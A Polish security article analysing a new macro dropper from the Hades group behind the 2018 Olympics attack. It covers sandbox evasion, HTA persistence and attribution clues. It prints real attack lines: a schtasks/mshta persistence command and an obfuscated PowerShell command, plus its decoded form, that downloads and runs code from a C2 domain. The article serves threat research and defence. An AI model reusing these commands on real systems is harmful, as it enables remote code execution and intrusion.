W ciągu ostatnich kilku tygodni analitycy Check Pointa zauważyli nową aktywność grupy Hades. Grupa ta jest odpowiedzialna za cyberatak na infrastrukturę podczas Zimowych Igrzysk Olimpijskich 2018 w Korei Południowej. Atak zakłócił ceremonię otwarcia, ale nie spowodował dużej awarii. W ciągu 12 godzin obsługa techniczna przywróciła do działa środowisko z kopii zapasowej. To wystarczyło jednak, aby incydent pojawił się w wielu nagłówkach gazet. Próbki, które zostały znalezione przez Check Point, wskazują, że grupa jest świadoma badań przeprowadzanych wokół jej działań. W związku z tym stara się, aby różne organy badawcze miały trudności z identyfikacją i przypisaniem autorstwa poszczególnych ataków. W badaniach eksperci porównali i przeanalizowali nowo odkryte próbki i IoC wraz z próbkami wcześniej obserwowanymi przez innych badaczy. Analiza wirusa pozwoliła stworzyć lepszy, bardziej kompletny i aktualny obraz głównej strategii, technik i procedur tej grupy hakerów.
Początek
Podczas badań odkryto szkodliwe oprogramowanie z możliwością rozprzestrzeniania, które później nazwano Olimpijskim Niszczycielem. Przeprowadzono wiele prób określenia jego autorstwa, ale grupa hakerska, która spowodowała te ataki, okazała się świetnie maskować swoje działania i włączyła wiele fałszywych flag do złośliwego oprogramowania, które prowokowały niesłuszne domniemania. Kilka miesięcy później Kaspersky Lab był w stanie zidentyfikować początkowy wektor ataku: e-maile typu spear-phishing ze złośliwymi dokumentami to był pierwszy krok do infiltracji sieci firm. Połączenie szkodliwych dokumentów z grupą Hades umożliwiło wyśledzenie działań poprzez szukanie podobnych dokumentów. Grupa hakerów wzbudziła także zainteresowanie poza granicami Korei Południowej, ponieważ swój atak wycelowała też w wiele organizacji z reszty świata.
Dwie pierwsze próbki dropperów zostały opublikowane przez McAfee w styczniu tego roku przed Igrzyskami Olimpijskimi:
c388b693d10e2b84af52ab2c29eb9328e47c3c16 8ad0a56e3db1e2cd730031bdcae2dbba3f7aba9c
Wykorzystywały one dwie różne techniki: pliki osadzone i złośliwe makra, ale grupie Hades przypisywano tylko próbki ze złośliwymi makrami.
Grupa Hades jest znana z wykorzystywania publicznie dostępnych narzędzi w celach wywiadowczych i aktywności po dokonaniu włamania. Wielokrotnie wspominaliśmy, że jeżeli nie wiesz w jaki sposób obejść zabezpieczenia urządzeń lub systemów, po prostu zajrzyj na GitHub. Jest tam dosłownie wszystko. Sposób działania Hadesu sprawia, że analiza pierwszego stadium ataku jest szczególnie ważna, gdyż stanowi jedyną metodę odróżnienia działań tej grupy od innych i śledzenia jej aktywności na całym świecie.
Ewolucja makr
W celu zademonstrowania, w jaki sposób makra grupy Hades ewoluowały w czasie, użyto narzędzia Vba2Graph do szybkiej analizy złośliwych dokumentów. Na infografice przedstawionej poniżej, można zauważyć, które funkcjonalności zostały dodane w późniejszym czasie i jak złożoność makr rosła wraz z upływem czasu.
Metody kodowania łańcuchów znaków, tak jak i inne częste wskaźniki, które wypiszemy później, pokazują jasno, że większość dokumentów została przygotowana przez jednego twórcę, za pomocą tego samego zestawu narzędzi obfuskujących, które ewoluowały z miesiąca na miesiąc.
Stara metoda infekcji: analiza wirusa
Z wyjątkiem najnowszych dropperów, wszystkie próbki posiadały podobne funkcjonalności ujawniane w pierwszym etapie uruchamiania:
Więcej informacji o wcześniejszych kampaniach Hadesa można znaleźć w raporcie firmy Kaspersky.
Nowa odmiana droppera
Ostatnia próbka pokazuje odstępstwo od zwykłej ścieżki ewolucyjnej, którą podążały makra grupy Hades i reprezentuje zupełnie nowy wariant. Próbka została po raz pierwszy wgrana na VirusTotal 12.10.2018 z Ukrainy. Charakteryzuje się podobnym kodowaniem znaków co wcześniejsze próbki z serii dropperów grupy Hades. Pomimo to, dodano nowe funkcjonalności, takie jak przeciwdziałanie analizie kodu oraz opóźnione wykonywanie, które dotychczas wykorzystywano dopiero w kolejnych fazach ataku.
Nowe funkcjonalności okazały się skuteczne, gdyż popularne sandboxy online nie wykrywały żadnych uruchamianych procesów czy aktywności online, a dla części z nich dropper był klasyfikowany jako zupełnie bezpieczny.
Nowa metoda infekcji
1. Plik .DOC jako pułapka
Początkowo użytkownikowi wyświetla się pusta strona. Gdy makra zostają włączone, zmieniają biały tekst na czarny i pojawia się treść.
Treść dokumentu została pobrana z prawdziwego dokumentu dostępnego online.
2. Utrudnianie analizy
Używając WMI, makro iteruje po uruchomionych procesach:
Zwrócone nazwy procesów są następnie porównywane z bazą popularnych narzędzi do analizy. Makro upewnia się również, czy działa w tle przynajmniej 40 procesów. Liczenie procesów skutecznie przeciwdziała wykryciu w sandboxach i środowiskach analitycznych, na których zwykle uruchomione jest mniej programów.
Lista narzędzi do analizy, które wyszukuje wirus została wyciągnięta z etapu uruchamiania skryptu PS, starego wariantu złośliwego oprogramowania.
HaCKER,MalzILlA,pRocExP,WiREShARK,HxD,PowERsheLl_iSE,idA,Olly,fiDDLEr,mALwAre,VmtoOLsd,SWingBoX,vboXTrAY,secunia,hijack,VmtoOlsd',Vbox,vMWaRE,VXsTReaM,AUtOIt,vmToOls,TcpVIeW,WiREShARK,prOCEss expLorer,VIsuAl bASiC,fiDDLEr
Dalej wykonywane są następujące czynności:
3. Zapisanie pliku .HTA na dysku
Dropper zapisuje odszyfrowany plik .HTA do katalogu:
%APPDATA%WPFT532.hta
4-5. Zaplanowanie zadania
Skrypt tworzy zadanie, które uruchamia plik .HTA rano:
schtasks /Create /F /SC DAILY /ST "10:20" /TN "DriveCloudTaskCoreCheck" /TR "mshta C:\Users\[user]\AppData\Roaming\WPFT532.hta
Opis parametrów:
- /F – tworzy zadanie ignorując ostrzeżenia, nawet jeżeli wskazane zadanie już istnieje
- /SC – planuje codzienne wykonanie zadania
- /ST – czas rozpoczęcia
- /TN – nazwa zadania
6. Uruchomienie pliku .HTA
Plik .HTA używa VBScript do odszyfrowania skryptu wiersza poleceń używanego w kolejnym kroku, wykorzystując te same techniki i narzędzia deszyfrujące co z etapu makra.
7-9. Pobranie i wykonanie skryptu Powershell
Kod w HTA wykonuje następującą obfuskowaną komendę w linii poleceń Powershell:
c:\WiNDOws\sYsTEM32\Cmd.eXE /c "Set AYW= -jOIn[CHAr[]] (40 ,39 , 40 , 78,39, 43,39 , 101, 119, 45, 79,39, 43 ,39 , 98,106 , 101 ,99 ,116 , 32 , 78,101 , 116 , 46 ,87, 39 , 43, 39 ,101 , 98 , 99 , 108, 105 ,101 ,110, 116 , 41,39 , 43 ,39,46,39,43 ,39 ,100 , 111,119 , 110 ,108 , 111 ,39,43 ,39, 97 , 100,115 ,116, 114,105 , 110 , 103,40 ,72 ,108, 39,43,39, 106,104,116 , 39 , 43 , 39 , 116 ,112, 58 , 39, 43,39 , 47, 47, 102 ,105, 110 , 100 , 117, 112 , 100, 97 ,39 , 43,39 , 116 ,101,39 ,43,39 , 109, 115 ,46,99 ,111, 109 , 47,99 , 104,39, 43,39, 101, 39 , 43 , 39,99 ,107 ,47,105 ,110,39 ,43 , 39 , 100 , 101 ,120,72,108, 106, 41,39 ,43 ,39, 52, 106 , 39,43,39 , 122,73 , 69,88, 39, 41 ,46 ,82 ,101, 112, 76 , 97,67,101, 40 ,40 ,91 , 99, 104,65 ,114 ,93,55, 50,43 ,91, 99, 104,65 , 114, 93,49,48,56, 43,91 ,99, 104,65 ,114,93,49, 48 ,54 , 41, 44,91,83,116 , 114, 73 ,110,103, 93 ,91 ,99 ,104,65, 114 ,93,51, 57 , 41, 46 ,82,101,112,76, 97, 67 ,101, 40 , 40,91,99, 104, 65, 114, 93, 53 ,50, 43 ,91 , 99 ,104, 65, 114 , 93,49,48,54, 43, 91 ,99, 104, 65,114,93 , 49 , 50 ,50,41,44, 39, 124 , 39 ,41 , 124 , 32, 46 ,32 , 40 , 32 ,36, 69, 110 ,86 , 58,67 , 79, 109 , 83, 80, 101 , 99 ,91,52 , 44 ,50, 52 ,44 ,50,53, 93 , 45 , 106,79 ,73 ,110 ,39 , 39, 41)^| . ( $pshOme[21]+$PSHoMe[30]+'x') &&Set gnPq=ECHO inVOKe-ExPRessiON (get-ItEM eNV:AYw).valUe ^| pOWERsHElL -noPRoFI -EXEcuTiONpOlI BYPASS -noNi -NoeXi -WindoWStYlE HIdDen -&& c:\WiNDOws\sYsTEM32\Cmd.eXE /c %gNpq%"
Pierwszy etap deobfuskacji:
('(N'+'ew-O'+'bject Net.W'+'ebclient)'+'.'+'downlo'+'adstring(Hl'+'jht'+'tp:'+'//findupda'+'te'+'ms.com/ch'+'e'+'ck/in'+'dexHlj)'+'4j'+'zIEX').RepLaCe(([chAr]72+[chAr]108+ [chAr]106),[StrIng][chAr]39).RepLaCe(([chAr]52+[chAr]106+[chAr]122),'|')
Kolejny etap:
(New-Object Net.Webclient).downloadstring('<http://findupdatems>[.]com/check/index')|IEX
Pobrany łańcuch znaków jest kolejnym poleceniem Powershell do wykonania. Podczas analizy eksperci nie byli w stanie pobrać paczki wykorzystywanej w kolejnym etapie ataku.
Podobieństwa i metadane
Pliki .doc grupy Hades i obfuskatory makr mają unikalne właściwości, które odróżniają je od innych dropperów. Właściwości te są widoczne w aktualnych i starych wariantach makr. Mimo że nie jest to bardzo charakterystyczne, większość dropperów jest podpisana następująco:
James, john albo AV.
Funkcja zmieniająca wygląd dokumentu
Większość droperów wykorzystuje dwie metody, żeby zmienić wygląd dokumentu po włączeniu makr:
Uruchomienie wywołania
Żeby uruchomić wywołanie, grupa Hades nie wykorzystuje popularnych poleceń takich jak AutoOpen, w celu uniknięcia wykrycia przez analizę statyczną czy analizę przez emulatory. Zamiast tego używa mniej znanej metody wykorzystującej obiekty ActiveX w Wordzie. Więcej informacji o tego typu wyzwalaczach można znaleźć tutaj. A to już część wyzwalaczy używanych w różnych wersjach:
Infrastruktura sieci przestępców
Częstą praktyką dropperów Hades jest stosowanie skompromitowanych serwerów jako C2 w drugim etapie. Pomimo tego, że nie wiadomo zbyt wiele o infrastrukturze sieci Hades, niektóre droppery łączące się z ich serwerami C2 uwidoczniły błędy serwerów. Owe błędy wskazują na to, że serwery te są używane jedynie jako proxy, a żądania były przekazywane do kolejnego serwera, który zawierał backend Empire.
Podsumowanie
Nie wygląda na to, żeby grupa Hades zwalniała tempo w rozwijaniu szkodliwego oprogramowania. Ostatnia aktywność pokazała nowy, wcześniej nie zaobserwowany wariant droppera, który wprowadził zmiany w makrach zwykle używanych w pierwszym etapie ataku. Za każdym razem, gdy Hades wprowadzał nową wersję droppera, jedynie mała liczba dostawców antywirusów była w stanie wykryć je jako złośliwe oprogramowanie. Sugeruje to, że większa część aktywności grupy Hades pozostaje niezauważona. Szczegółowa analiza znajduje się na blogu Check Point.
Do ochrony przed podobnymi próbkami szkodliwego oprogramowania polecamy nasz poradnik podnoszący bezpieczeństwa komputerów,, w którym krok po kroku wyjaśniamy znaczenie monitorowania interpreterów systemowych, takich jak Powershell.
IoC dropperów dla badaczy:
e160ca75a0e8c4bc9177f412b09e7a29 7f327ae9b70d6a2bd48e20c897f7f726 e3487e2725f8c79d04ffda6de9612e25 ac85b1fff1fe43ddad28bf1c4ce021c5 cd15a7c3cb1725dc9d21160c26ab9c2e
Czy ten artykuł był pomocny?
Oceniono: 0 razy